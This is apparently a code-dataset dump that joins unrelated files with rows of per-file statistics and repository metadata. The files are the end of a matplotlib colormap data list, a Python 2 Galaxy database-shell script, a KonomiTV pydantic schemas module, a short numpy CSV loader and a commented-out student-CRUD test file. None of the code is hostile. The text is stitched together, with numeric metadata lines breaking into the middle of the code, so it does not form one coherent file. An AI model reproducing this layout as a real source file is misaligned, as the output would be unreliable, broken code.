[0.31199992, 0.42720890, 0.67877201],
[0.31205825, 0.43164113, 0.68124278],
[0.31211216, 0.43607095, 0.68370870],
[0.31216189, 0.44049867, 0.68616949],
[0.31220796, 0.44492453, 0.68862492],
[0.31225061, 0.44934882, 0.69107462],
[0.31229048, 0.45377175, 0.69351832],
[0.31232786, 0.45819361, 0.69595559],
[0.31236353, 0.46261456, 0.69838612],
[0.31239787, 0.46703487, 0.70080943],
[0.31243174, 0.47145469, 0.70322513],
[0.31246573, 0.47587424, 0.70563272],
[0.31250071, 0.48029366, 0.70803171],
[0.31253759, 0.48471311, 0.71042159],
[0.31257717, 0.48913278, 0.71280175],
[0.31262078, 0.49355270, 0.71517170],
[0.31266920, 0.49797308, 0.71753069],
[0.31272396, 0.50239396, 0.71987816],
[0.31278644, 0.50681539, 0.72221344],
[0.31285779, 0.51123752, 0.72453568],
[0.31293998, 0.51566030, 0.72684425],
[0.31303476, 0.52008375, 0.72913836],
[0.31314366, 0.52450796, 0.73141704],
[0.31326906, 0.52893282, 0.73367953],
[0.31341322, 0.53335830, 0.73592494],
[0.31357856, 0.53778430, 0.73815229],
[0.31376746, 0.54221081, 0.74036052],
[0.31398291, 0.54663764, 0.74254862],
[0.31422803, 0.55106464, 0.74471556],
[0.31450612, 0.55549161, 0.74686019],
[0.31482075, 0.55991833, 0.74898134],
[0.31517574, 0.56434455, 0.75107779],
[0.31557523, 0.56876997, 0.75314825],
[0.31602366, 0.57319425, 0.75519142],
[0.31652582, 0.57761700, 0.75720593],
[0.31708684, 0.58203779, 0.75919038],
[0.31771222, 0.58645611, 0.76114332],
[0.31840787, 0.59087143, 0.76306326],
[0.31918007, 0.59528313, 0.76494869],
[0.32003532, 0.59969060, 0.76679791],
[0.32098080, 0.60409308, 0.76860934],
[0.32202424, 0.60848970, 0.77038148],
[0.32317357, 0.61287960, 0.77211265],
[0.32443695, 0.61726187, 0.77380097],
[0.32582371, 0.62163533, 0.77544516],
[0.32734269, 0.62599895, 0.77704320],
[0.32900405, 0.63035134, 0.77859393],
[0.33081742, 0.63469128, 0.78009540],
[0.33279358, 0.63901718, 0.78154661],
[0.33494302, 0.64332754, 0.78294608],
[0.33727653, 0.64762069, 0.78429266],
[0.33980514, 0.65189480, 0.78558566],
[0.34253965, 0.65614801, 0.78682444],
[0.34549065, 0.66037837, 0.78800872],
[0.34866835, 0.66458383, 0.78913863],
[0.35208231, 0.66876231, 0.79021477],
[0.35574127, 0.67291169, 0.79123827],
[0.35965281, 0.67702987, 0.79221088],
[0.36382312, 0.68111477, 0.79313499],
[0.36825671, 0.68516444, 0.79401368],
[0.37295618, 0.68917704, 0.79485074],
[0.37792196, 0.69315094, 0.79565068],
[0.38315216, 0.69708476, 0.79641869],
[0.38864250, 0.70097742, 0.79716057],
[0.39438623, 0.70482817, 0.79788271],
[0.40037420, 0.70863664, 0.79859195],
[0.40659514, 0.71240286, 0.79929533],
[0.41303585, 0.71612724, 0.80000005],
[0.41968153, 0.71981060, 0.80071327],
[0.42651620, 0.72345411, 0.80144199],
[0.43352311, 0.72705927, 0.80219282],
[0.44068514, 0.73062784, 0.80297193],
[0.44798499, 0.73416184, 0.80378517],
[0.45540582, 0.73766347, 0.80463763],
[0.46293189, 0.74113497, 0.80553339],
[0.47054756, 0.74457873, 0.80647656],
[0.47823856, 0.74799715, 0.80747031],
[0.48599174, 0.75139259, 0.80851720],
[0.49379555, 0.75476731, 0.80961897],
[0.50163802, 0.75812375, 0.81077799],
[0.50951018, 0.76146396, 0.81199484],
[0.51740343, 0.76479002, 0.81327029],
[0.52531010, 0.76810393, 0.81460481],
[0.53322356, 0.77140754, 0.81599852],
[0.54113819, 0.77470259, 0.81745128],
[0.54904863, 0.77799078, 0.81896303],
[0.55695031, 0.78127373, 0.82053353],
[0.56484078, 0.78455267, 0.82216148],
[0.57271595, 0.78782912, 0.82384685],
[0.58057376, 0.79110425, 0.82558859],
[0.58841174, 0.79437931, 0.82738612],
[0.59622922, 0.79765517, 0.82923797],
[0.60402262, 0.80093330, 0.83114456],
[0.61179265, 0.80421427, 0.83310394],
[0.61953824, 0.80749903, 0.83511535],
[0.62725857, 0.81078844, 0.83717801],
[0.63495307, 0.81408331, 0.83929113],
[0.64262139, 0.81738440, 0.84145388],
[0.65026337, 0.82069239, 0.84366540],
[0.65787900, 0.82400793, 0.84592486],
[0.66546844, 0.82733162, 0.84823141],
[0.67303197, 0.83066400, 0.85058419],
[0.68056996, 0.83400559, 0.85298238],
[0.68808289, 0.83735685, 0.85542516],
[0.69557018, 0.84071852, 0.85791228],
[0.70303254, 0.84409099, 0.86044288],
[0.71047142, 0.84747442, 0.86301580],
[0.71788585, 0.85086963, 0.86563112],
[0.72527708, 0.85427682, 0.86828781],
[0.73264583, 0.85769631, 0.87098521],
[0.73999166, 0.86112874, 0.87372319],
[0.74731621, 0.86457417, 0.87650067],
[0.75461912, 0.86803319, 0.87931756],
[0.76190122, 0.87150605, 0.88217322],
[0.76916383, 0.87499286, 0.88506677],
[0.77640537, 0.87849452, 0.88799879],
[0.78362842, 0.88201078, 0.89096784],
[0.79083329, 0.88554198, 0.89397361],
[0.79801871, 0.88908894, 0.89701653],
[0.80518675, 0.89265150, 0.90009549],
[0.81233783, 0.89622995, 0.90321016],
[0.81947230, 0.89982462, 0.90636025],
[0.82659011, 0.90343594, 0.90954568],
[0.83369156, 0.90706423, 0.91276619],
[0.84077761, 0.91070961, 0.91602124],
[0.84784862, 0.91437236, 0.91931059],
[0.85490492, 0.91805279, 0.92263401],
[0.86194682, 0.92175119, 0.92599126],
[0.86897464, 0.92546784, 0.92938214],
[0.87598869, 0.92920304, 0.93280643],
[0.88298922, 0.93295708, 0.93626395],
[0.88997650, 0.93673027, 0.93975451],
[0.89695077, 0.94052289, 0.94327794],
[0.90391222, 0.94433526, 0.94683409],
[0.91086103, 0.94816769, 0.95042279],
[0.91779733, 0.95202051, 0.95404393],
[0.92472121, 0.95589406, 0.95769737],
[0.93163272, 0.95978870, 0.96138299],
[0.93853161, 0.96370486, 0.96510081],
[0.94541738, 0.96764310, 0.96885089],
[0.95229045, 0.97160364, 0.97263292],
[0.95915055, 0.97558695, 0.97644685],
[0.96599731, 0.97959353, 0.98029261],
[0.97283020, 0.98362395, 0.98417016],
[0.97964739, 0.98767922, 0.98807995],
[0.98644895, 0.99175974, 0.99202153],
[0.99323371, 0.99586633, 0.99599488],
[1.00000000, 1.00000000, 1.00000000],
[0.99382469, 0.99580955, 0.99432110],
[0.98760164, 0.99166330, 0.98862986],
[0.98133740, 0.98755931, 0.98291625],
[0.97503997, 0.98349458, 0.97717497],
[0.96871626, 0.97946629, 0.97140333],
[0.96237164, 0.97547209, 0.96560034],
[0.95601185, 0.97150923, 0.95976730],
[0.94963976, 0.96757616, 0.95390497],
[0.94325909, 0.96367088, 0.94801568],
[0.93687235, 0.95979187, 0.94210153],
[0.93048036, 0.95593835, 0.93616375],
[0.92408561, 0.95210878, 0.93020504],
[0.91768886, 0.94830240, 0.92422693],
[0.91129032, 0.94451872, 0.91823051],
[0.90489147, 0.94075664, 0.91221790],
[0.89849256, 0.93701566, 0.90619023],
[0.89209319, 0.93329557, 0.90014800],
[0.88569452, 0.92959547, 0.89409297],
[0.87929669, 0.92591493, 0.88802599],
[0.87289905, 0.92225388, 0.88194719],
[0.86650216, 0.91861170, 0.87585767],
[0.86010629, 0.91498793, 0.86975822],
[0.85371140, 0.91138223, 0.86364935],
[0.84731670, 0.90779464, 0.85753082],
[0.84092280, 0.90422454, 0.85140359],
[0.83452970, 0.90067160, 0.84526808],
[0.82813733, 0.89713553, 0.83912458],
[0.82174544, 0.89361612, 0.83297320],
[0.81535347, 0.89011330, 0.82681372],
[0.80896190, 0.88662654, 0.82064685],
[0.80257057, 0.88315559, 0.81447273],
[0.79617936, 0.87970020, 0.80829144],
[0.78978811, 0.87626012, 0.80210307],
[0.78339667, 0.87283512, 0.79590767],
[0.77700472, 0.86942502, 0.78970513],
[0.77061205, 0.86602960, 0.78349540],
[0.76421875, 0.86264852, 0.77727873],
[0.75782467, 0.85928154, 0.77105510],
[0.75142964, 0.85592843, 0.76482449],
[0.74503349, 0.85258894, 0.75858685],
[0.73863604, 0.84926286, 0.75234213],
[0.73223714, 0.84594994, 0.74609027],
[0.72583661, 0.84264994, 0.73983119],
[0.71943428, 0.83936264, 0.73356480],
[0.71302998, 0.83608780, 0.72729102],
[0.70662354, 0.83282518, 0.72100975],
[0.70021479, 0.82957454, 0.71472089],
[0.69380357, 0.82633564, 0.70842432],
[0.68738971, 0.82310825, 0.70211992],
[0.68097304, 0.81989211, 0.69580759],
[0.67455294, 0.81668717, 0.68948672],
[0.66812958, 0.81349304, 0.68315752],
[0.66170286, 0.81030946, 0.67681990],
[0.65527262, 0.80713617, 0.67047373],
[0.64883872, 0.80397291, 0.66411886],
[0.64240101, 0.80081943, 0.65775515],
[0.63595841, 0.79767582, 0.65138150],
[0.62951158, 0.79454151, 0.64499858],
[0.62306045, 0.79141621, 0.63860627],
[0.61660476, 0.78829970, 0.63220428],
[0.61014331, 0.78519209, 0.62579136],
[0.60367711, 0.78209270, 0.61936849],
[0.59720594, 0.77900127, 0.61293539],
[0.59072831, 0.77591802, 0.60649044],
[0.58424556, 0.77284215, 0.60003495],
[0.57775664, 0.76977369, 0.59356774],
[0.57126149, 0.76671233, 0.58708865],
[0.56476033, 0.76365767, 0.58059777],
[0.55825218, 0.76060971, 0.57409393],
[0.55173780, 0.75756786, 0.56757778],
[0.54521614, 0.75453214, 0.56104804],
[0.53868762, 0.75150206, 0.55450494],
[0.53215208, 0.74847735, 0.54794811],
[0.52560864, 0.74545795, 0.54137634],
[0.51905823, 0.74244322, 0.53479036],
[0.51250000, 0.73943309, 0.52818895],
[0.50593365, 0.73642732, 0.52157144],
[0.49935973, 0.73342539, 0.51493803],
[0.49277805, 0.73042701, 0.50828809],
[0.48618824, 0.72743197, 0.50162076],
[0.47958991, 0.72444003, 0.49493507],
[0.47298359, 0.72145070, 0.48823100],
[0.46636921, 0.71846366, 0.48150783],
[0.45974679, 0.71547856, 0.47476485],
[0.45311640, 0.71249506, 0.46800133],
[0.44647816, 0.70951278, 0.46121648],
[0.43983228, 0.70653133, 0.45440955],
[0.43317907, 0.70355031, 0.44757974],
[0.42651828, 0.70056948, 0.44072551],
[0.41985059, 0.69758833, 0.43384622],
[0.41317687, 0.69460632, 0.42694128],
[0.40649778, 0.69162299, 0.42000968],
[0.39981272, 0.68863823, 0.41304872],
[0.39312423, 0.68565110, 0.40605913],
[0.38643180, 0.68266150, 0.39903778],
[0.37973812, 0.67966850, 0.39198500],
[0.37304275, 0.67667203, 0.38489700],
[0.36634870, 0.67367115, 0.37777377],
[0.35965765, 0.67066532, 0.37061319],
[0.35297165, 0.66765394, 0.36341301],
[0.34629317, 0.66463637, 0.35617090],
[0.33962524, 0.66161188, 0.34888442],
[0.33297150, 0.65857969, 0.34155107],
[0.32633633, 0.65553892, 0.33416823],
[0.31972491, 0.65248860, 0.32673327],
[0.31314248, 0.64942789, 0.31924201],
[0.30659623, 0.64635564, 0.31169136],
[0.30009369, 0.64327077, 0.30407659],
[0.29364480, 0.64017187, 0.29639406],
[0.28726040, 0.63705756, 0.28863847],
[0.28095360, 0.63392625, 0.28080436],
[0.27474016, 0.63077607, 0.27288617],
[0.26863813, 0.62760506, 0.26487647],
[0.26267002, 0.62441075, 0.25676914],
[0.25686147, 0.62119053, 0.24855490],
[0.25124393, 0.61794122, 0.24022510],
[0.24585511, 0.61465902, 0.23177057],
[0.24074014, 0.61133945, 0.22318124],
[0.23595315, 0.60797718, 0.21444629],
[0.23155932, 0.60456563, 0.20555579],
[0.22763671, 0.60109683, 0.19649969],
[0.22427864, 0.59756085, 0.18727215],
[0.22159446, 0.59394541, 0.17787608],
[0.21970884, 0.59023557, 0.16832692],
[0.21875529, 0.58641365, 0.15866581],
[0.21885793, 0.58246043, 0.14897700],
[0.22009608, 0.57835850, 0.13940533],
[0.22245044, 0.57409882, 0.13016467],
[0.22576171, 0.56968811, 0.12150790],
[0.22974550, 0.56515118, 0.11365853],
[0.23407808, 0.56052386, 0.10674215],
[0.23848634, 0.55584188, 0.10077283],
[0.24278697, 0.55113355, 0.09568718],
[0.24687702, 0.54641845, 0.09138767],
[0.25070795, 0.54170912, 0.08777129],
[0.25426366, 0.53701323, 0.08474270],
[0.25754688, 0.53233510, 0.08221878],
[0.26056796, 0.52767728, 0.08012845],
[0.26334064, 0.52304119, 0.07841111],
[0.26588045, 0.51842744, 0.07701528],
[0.26820294, 0.51383615, 0.07589709],
[0.27032300, 0.50926715, 0.07501892],
[0.27225402, 0.50472022, 0.07434809],
[0.27400849, 0.50019497, 0.07385633],
[0.27559818, 0.49569090, 0.07351934],
[0.27703238, 0.49120778, 0.07331473],
[0.27832162, 0.48674492, 0.07322459],
[0.27947412, 0.48230192, 0.07323212],
[0.28049758, 0.47787835, 0.07332273],
[0.28139919, 0.47347376, 0.07348371],
[0.28218562, 0.46908766, 0.07370402],
[0.28286261, 0.46471970, 0.07397352],
[0.28343564, 0.46036946, 0.07428352],
[0.28390985, 0.45603654, 0.07462643],
[0.28429006, 0.45172052, 0.07499567],
[0.28458007, 0.44742115, 0.07538470],
[0.28478415, 0.44313801, 0.07578856],
[0.28490602, 0.43887075, 0.07620262],
[0.28494907, 0.43461906, 0.07662274],
[0.28491652, 0.43038262, 0.07704527],
[0.28481132, 0.42616112, 0.07746700],
[0.28463599, 0.42195434, 0.07788471],
[0.28439348, 0.41776190, 0.07829633],
[0.28408628, 0.41358350, 0.07869974],
[0.28371630, 0.40941900, 0.07909240],
[0.28328605, 0.40526800, 0.07947311],
[0.28279736, 0.40113032, 0.07984003],
[0.28225231, 0.39700566, 0.08019202],
[0.28165244, 0.39289384, 0.08052756],
[0.28099980, 0.38879452, 0.08084604],
[0.28029571, 0.38470756, 0.08114612],
[0.27954177, 0.38063269, 0.08142708],
[0.27873954, 0.37656965, 0.08168838],
[0.27789035, 0.37251823, 0.08192932],
[0.27699548, 0.36847822, 0.08214928],
[0.27605604, 0.36444944, 0.08234761],
[0.27507335, 0.36043163, 0.08252408],
[0.27404853, 0.35642457, 0.08267831],
[0.27298263, 0.35242806, 0.08280996],
[0.27187665, 0.34844188, 0.08291875],
[0.27073158, 0.34446585, 0.08300442],
[0.26954834, 0.34049973, 0.08306678],
[0.26832781, 0.33654334, 0.08310564],
[0.26707080, 0.33259648, 0.08312079],
[0.26577808, 0.32865896, 0.08311205],
[0.26445049, 0.32473055, 0.08307943],
[0.26308876, 0.32081105, 0.08302283],
[0.26169362, 0.31690026, 0.08294219],
[0.26026570, 0.31299798, 0.08283742],
[0.25880553, 0.30910406, 0.08270826],
[0.25731388, 0.30521825, 0.08255493],
[0.25579133, 0.30134033, 0.08237742],
[0.25423833, 0.29747015, 0.08217546],
[0.25265547, 0.29360749, 0.08194916],
[0.25104334, 0.28975212, 0.08169866],
[0.24940226, 0.28590390, 0.08142361],
[0.24773284, 0.28206257, 0.08112428],
[0.24603549, 0.27822793, 0.08080061],
[0.24431057, 0.27439981, 0.08045246],
[0.24255862, 0.27057794, 0.08008011],
[0.24077983, 0.26676218, 0.07968318],
[0.23897479, 0.26295224, 0.07926209],
[0.23714362, 0.25914798, 0.07881643],
[0.23528689, 0.25534911, 0.07834662],
[0.23340468, 0.25155548, 0.07785225],
[0.23149749, 0.24776679, 0.07733371],
[0.22956545, 0.24398289, 0.07679069],
[0.22760892, 0.24020347, 0.07622341],
[0.22562811, 0.23642835, 0.07563177],
[0.22362324, 0.23265727, 0.07501578],
[0.22159459, 0.22888997, 0.07437557],
[0.21954224, 0.22512625, 0.07371087],
[0.21746649, 0.22136579, 0.07302195],
[0.21536746, 0.21760838, 0.07230872],
[0.21324527, 0.21385374, 0.07157112],
[0.21110013, 0.21010159, 0.07080928],
[0.20893210, 0.20635167, 0.07002313],
[0.20674127, 0.20260369, 0.06921265],
[0.20452777, 0.19885735, 0.06837794],
[0.20229165, 0.19511235, 0.06751901],
[0.20003290, 0.19136842, 0.06663574],
[0.19775160, 0.18762521, 0.06572831],
[0.19544775, 0.18388240, 0.06479672],
[0.19312130, 0.18013969, 0.06384095],
[0.19077219, 0.17639672, 0.06286104],
[0.18840038, 0.17265315, 0.06185709],
[0.18600578, 0.16890862, 0.06082917],
[0.18358823, 0.16516277, 0.05977729],
[0.18114755, 0.16141524, 0.05870151],
[0.17868358, 0.15766562, 0.05760198],
[0.17619607, 0.15391353, 0.05647879],
[0.17368476, 0.15015856, 0.05533204],
[0.17114930, 0.14640032, 0.05416183],
[0.16858932, 0.14263837, 0.05296828],
[0.16600443, 0.13887229, 0.05175158],
[0.16339415, 0.13510163, 0.05051188],
[0.16075793, 0.13132595, 0.04924932],
[0.15809517, 0.12754478, 0.04796409],
[0.15540519, 0.12375769, 0.04665629],
[0.15268725, 0.11996418, 0.04532612],
[0.14994054, 0.11616378, 0.04397374],
[0.14716414, 0.11235600, 0.04259926],
[0.14435705, 0.10854034, 0.04120279],
[0.14151819, 0.10471630, 0.03977633],
[0.13864637, 0.10088335, 0.03834104],
[0.13574030, 0.09704098, 0.03691515],
[0.13279861, 0.09318862, 0.03549973],
[0.12981983, 0.08932571, 0.03409578],
[0.12680239, 0.08545164, 0.03270415],
[0.12374463, 0.08156576, 0.03132562],
[0.12064478, 0.07766739, 0.02996087],
[0.11750102, 0.07375577, 0.02861046],
[0.11431142, 0.06983006, 0.02727485],
[0.11107399, 0.06588932, 0.02595442],
[0.10778667, 0.06193249, 0.02464948]]
# Create ListedColormap object for this colormap
cmap = ListedColormap(cm_data, name='cmr.waterlily', N=511)
cmap_r = cmap.reversed()
# Register (reversed) cmap in MPL
register_cmap(cmap=cmap)
register_cmap(cmap=cmap_r)
| 47.477778 | 59 | 0.556284 | 3,146 | 25,638 | 4.527018 | 0.500636 | 0.002247 | 0.001966 | 0.002247 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.749891 | 0.282003 | 25,638 | 539 | 60 | 47.565863 | 0.023794 | 0.009244 | 0 | 0 | 0 | 0 | 0.002481 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.003839 | 0 | 0.003839 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ab1c614a58ae119996bfab06dcd16a655d64d6d8 | 3,017 | py | Python | scripts/db_shell.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | null | null | null | scripts/db_shell.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | null | null | null | scripts/db_shell.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | 1 | 2020-07-25T21:03:18.000Z | 2020-07-25T21:03:18.000Z | # This script allows easy access to Galaxy's database layer via the
# Galaxy models. For example:
# % python -i scripts/db_shell.py
# >>> new_user = User("admin@gmail.com")
# >>> new_user.set_password
# >>> sa_session.add(new_user)
# >>> sa_session.commit()
# >>> sa_session.query(User).all()
#
# You can also use this script as a library, for instance see https://gist.github.com/1979583
# TODO: This script overlaps a lot with manage_db.py and create_db.py,
# these should maybe be refactored to remove duplication.
import sys, os.path, logging
new_path = [ os.path.join( os.getcwd(), "lib" ) ]
new_path.extend( sys.path[1:] ) # remove scripts/ from the path
sys.path = new_path
from galaxy import eggs
import pkg_resources
pkg_resources.require( "decorator" )
pkg_resources.require( "Tempita" )
pkg_resources.require( "sqlalchemy-migrate" )
pkg_resources.require( "SQLAlchemy" )
from ConfigParser import SafeConfigParser
from galaxy.model.orm import dialect_to_egg
log = logging.getLogger( __name__ )
if sys.argv[-1] in [ 'tool_shed' ]:
# Need to pop the last arg so the command line args will be correct
# for sqlalchemy-migrate
webapp = sys.argv.pop()
config_file = 'tool_shed_wsgi.ini'
repo = 'lib/galaxy/webapps/tool_shed/model/migrate'
else:
# Poor man's optparse
config_file = 'universe_wsgi.ini'
if '-c' in sys.argv:
pos = sys.argv.index( '-c' )
sys.argv.pop(pos)
config_file = sys.argv.pop( pos )
if not os.path.exists( config_file ):
print "Galaxy config file does not exist (hint: use '-c config.ini' for non-standard locations): %s" % config_file
sys.exit( 1 )
repo = 'lib/galaxy/model/migrate'
cp = SafeConfigParser()
cp.read( config_file )
if cp.has_option( "app:main", "database_connection" ):
db_url = cp.get( "app:main", "database_connection" )
elif cp.has_option( "app:main", "database_file" ):
db_url = "sqlite:///%s?isolation_level=IMMEDIATE" % cp.get( "app:main", "database_file" )
else:
db_url = "sqlite:///./database/universe.sqlite?isolation_level=IMMEDIATE"
dialect = ( db_url.split( ':', 1 ) )[0]
try:
egg = dialect_to_egg[dialect]
try:
pkg_resources.require( egg )
log.debug( "%s egg successfully loaded for %s dialect" % ( egg, dialect ) )
except:
# If the module is in the path elsewhere (i.e. non-egg), it'll still load.
log.warning( "%s egg not found, but an attempt will be made to use %s anyway" % ( egg, dialect ) )
except KeyError:
# Let this go, it could possibly work with db's we don't support
log.error( "database_connection contains an unknown SQLAlchemy database dialect: %s" % dialect )
# Setup DB scripting environment
from sqlalchemy import *
from sqlalchemy.orm import *
from sqlalchemy.exc import *
engine = create_engine(db_url, echo=True)
db_session = scoped_session( sessionmaker( bind = engine ) )
from galaxy.model.mapping import context as sa_session
sa_session.bind = engine
from galaxy.model import *
| 35.494118 | 122 | 0.69937 | 448 | 3,017 | 4.582589 | 0.424107 | 0.034096 | 0.046274 | 0.028251 | 0.069167 | 0.025329 | 0 | 0 | 0 | 0 | 0 | 0.00485 | 0.17998 | 3,017 | 84 | 123 | 35.916667 | 0.82498 | 0.265496 | 0 | 0.075472 | 0 | 0.018868 | 0.284412 | 0.075661 | 0 | 0 | 0 | 0.011905 | 0 | 0 | null | null | 0 | 0.188679 | null | null | 0.018868 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ab1ecf5c27f9abe484778c55b1845cd21daf7df1 | 1,942 | py | Python | server/app/schemas.py | kounoike/KonomiTV | 33abd8ad698720598943765ef580188dd26769ef | [
"MIT"
] | 1 | 2022-01-01T06:48:12.000Z | 2022-01-01T06:48:12.000Z | server/app/schemas.py | kounoike/KonomiTV | 33abd8ad698720598943765ef580188dd26769ef | [
"MIT"
] | null | null | null | server/app/schemas.py | kounoike/KonomiTV | 33abd8ad698720598943765ef580188dd26769ef | [
"MIT"
] | null | null | null |
from pydantic import AnyHttpUrl, BaseModel, PositiveInt
from pydantic.networks import stricturl
from tortoise.contrib.pydantic import pydantic_model_creator
from typing import Dict, List, Literal, Optional
from app import models
# 環境設定を表す Pydantic モデル
# バリデーションは環境設定をこの Pydantic モデルに通して行う
class Config(BaseModel):
class General(BaseModel):
debug: bool
backend: Literal['Mirakurun', 'EDCB']
mirakurun_url: AnyHttpUrl
edcb_url: stricturl(allowed_schemes={'tcp'}, tld_required=False)
class LiveStream(BaseModel):
encoder: Literal['FFmpeg', 'QSVEncC', 'NVEncC', 'VCEEncC']
max_alive_time: PositiveInt
general: General
livestream: LiveStream
# モデルを表す Pydantic モデル
# 基本的には pydantic_model_creator() で Tortoise ORM モデルから変換したものを継承
# JSONField など変換だけでは補いきれない部分や、新しく追加したいカラムなどを追加で定義する
class Program(pydantic_model_creator(models.Programs, name='Program')):
class Genre(BaseModel):
major:str
middle:str
detail: Dict[str, str]
genre: List[Genre]
class Channel(pydantic_model_creator(models.Channels, name='Channel')):
is_display: bool = True # 追加カラム
viewers: int
program_present: Optional[Program] # 追加カラム
program_following: Optional[Program] # 追加カラム
class LiveStream(BaseModel):
# LiveStream は特殊なモデルのため、ここで全て定義する
status: str
detail: str
updated_at: float
clients_count: int
# API レスポンスに利用する Pydantic モデル
# モデルを List や Dict でまとめたものが中心
class Channels(BaseModel):
GR: List[Channel]
BS: List[Channel]
CS: List[Channel]
CATV: List[Channel]
SKY: List[Channel]
STARDIGIO: List[Channel]
class LiveStreams(BaseModel):
Restart: Dict[str, LiveStream]
Idling: Dict[str, LiveStream]
ONAir: Dict[str, LiveStream]
Standby: Dict[str, LiveStream]
Offline: Dict[str, LiveStream]
class JikkyoSession(BaseModel):
is_success: bool
audience_token: Optional[str]
detail: str
| 26.60274 | 72 | 0.722451 | 221 | 1,942 | 6.253394 | 0.461538 | 0.030391 | 0.061505 | 0.037627 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.190525 | 1,942 | 72 | 73 | 26.972222 | 0.879135 | 0.15036 | 0 | 0.081633 | 0 | 0 | 0.034209 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.102041 | 0 | 0.836735 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
ab36f696b7fc568810daf58087f4f1b14105323a | 249 | py | Python | Numpy/afficherlesdonneescorrectement.py | haxuyennt38/python-learning | c5fcfc0abfd4aebf4ce58e2f23d378703bd48430 | [
"MIT"
] | null | null | null | Numpy/afficherlesdonneescorrectement.py | haxuyennt38/python-learning | c5fcfc0abfd4aebf4ce58e2f23d378703bd48430 | [
"MIT"
] | null | null | null | Numpy/afficherlesdonneescorrectement.py | haxuyennt38/python-learning | c5fcfc0abfd4aebf4ce58e2f23d378703bd48430 | [
"MIT"
] | null | null | null | import numpy as np
world_alcohol = np.genfromtxt('world_alcohol.csv', delimiter =',', dtype = 'U75', skip_header = 1)
#Je ne dois pas utiliser skip_header, sinon quand on utilise le skip_header pour suprrimer la première ligne
print(world_alcohol) | 41.5 | 108 | 0.7751 | 39 | 249 | 4.794872 | 0.769231 | 0.192513 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013953 | 0.136546 | 249 | 6 | 109 | 41.5 | 0.855814 | 0.429719 | 0 | 0 | 0 | 0 | 0.147887 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
ab3f6dea3c48e8798d6d2b0d0bbebc73bd86fd66 | 2,099 | py | Python | user_crud/tests/test_user_crud.py | danielcaland/trabalho3 | 6b8ed255e2d1b28bd5016b947c4c3dc4736782b3 | [
"MIT"
] | null | null | null | user_crud/tests/test_user_crud.py | danielcaland/trabalho3 | 6b8ed255e2d1b28bd5016b947c4c3dc4736782b3 | [
"MIT"
] | null | null | null | user_crud/tests/test_user_crud.py | danielcaland/trabalho3 | 6b8ed255e2d1b28bd5016b947c4c3dc4736782b3 | [
"MIT"
] | null | null | null | #import pytest
#import asyncio
#from dotenv import load_dotenv
#
#from src.user_crud.server.database import (
# add_student,
# delete_student,
# retrieve_student,
# retrieve_students,
# update_student
#)
#
#
#loop = asyncio.get_event_loop()
#
#@pytest.fixture()
#def example_student():
# return {
# "fullname": "Test User",
# "email": "test@user.br",
# "course_of_study": "Computer engineering",
# "year": 5,
# "gpa": "3.0"
# }
#
#
#@pytest.fixture()
#def example_student_list():
# return [
# {
# "fullname": "Test User1",
# "email": "test@user.br",
# "course_of_study": "Computer engineering",
# "year": 5,
# "gpa": "3.0"
# },
# {
# "fullname": "Test User1",
# "email": "test@user.br",
# "course_of_study": "Computer engineering",
# "year": 5,
# "gpa": "3.0"
# },
# {
# "fullname": "Test User1",
# "email": "test@user.br",
# "course_of_study": "Computer engineering",
# "year": 5,
# "gpa": "3.0"
# },
# {
# "fullname": "Test User1",
# "email": "test@user.br",
# "course_of_study": "Computer engineering",
# "year": 5,
# "gpa": "3.0"
# }
# ]
#
#
#
#def test_add_student(example_student):
# new_student = loop.run_until_complete(add_student(example_student))
# assert "id" in new_student.keys()
#
#
#def test_retrieve_students(example_student_list):
#
# for student in example_student_list:
# _ = loop.run_until_complete(add_student(student))
#
# students = loop.run_until_complete(retrieve_students())
#
# assert len(students) > 1
#
#
#def test_retrieve_student_data(example_student):
# new_student = loop.run_until_complete(add_student(example_student))
# retrieved_student = loop.run_until_complete(retrieve_student(new_student["id"]))
#
# assert new_student["id"] == retrieved_student["id"]
#
# loop.close()
#
#
